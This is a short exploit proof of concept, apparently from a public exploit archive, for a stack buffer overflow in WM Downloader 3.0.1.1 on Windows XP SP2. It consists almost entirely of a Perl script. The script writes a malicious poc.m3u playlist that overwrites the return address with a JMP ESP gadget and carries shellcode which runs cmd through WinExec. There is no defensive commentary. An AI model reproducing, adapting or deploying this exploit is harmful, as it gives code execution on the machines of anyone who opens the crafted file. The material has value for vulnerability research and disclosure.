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WM Downloader 3.0.1.1 stack buffer overflow
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来源：san.gupta86[at]gmail.com 作者：Gupta 发布时间：2010-09-19
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#WM Downloader 3.0.1.1 stack buffer overflow
#Author Sanjeev Gupta san.gupta86[at]gmail.com
#Download Vulnerable application from http://en.softonic.com/s/download-free-wm-capture
#Vulnerable version WM Downloader 3.0.1.1
#Tested on XP SP2
#Greets Puneet Jain
my $buff = "\x41" x 26076;
my $eip = "\x65\x82\xa5\x7c"; #7CA58265 FFE4 JMP ESP
my $nop = "\x90" x 12;
my $code =
"\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B".
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9".
"\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C".
"\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0".
"\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B".
"\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72".
"\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03".
"\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47".
"\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F".
"\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72".
"\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66".
"\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14".
"\x8E\x03\xD3\x52\x68\x78\x65\x63\x01\xFE".
"\x4C\x24\x03\x68\x57\x69\x6E\x45\x54\x53".
"\xFF\xD2\x68\x63\x6D\x64\x01\xFE\x4C\x24".
"\x03\x6A\x05\x33\xC9\x8D\x4C\x24\x04\x51".
"\xFF\xD0\x68\x65\x73\x73\x01\x8B\xDF\xFE".
"\x4C\x24\x03\x68\x50\x72\x6F\x63\x68\x45".
"\x78\x69\x74\x54\xFF\x74\x24\x20\xFF\x54".
"\x24\x20\x57\xFF\xD0";
my $filename ="poc.m3u";
open(FILE, ">$filename");
print FILE $buff.$eip.$nop.$code;
close(FILE);
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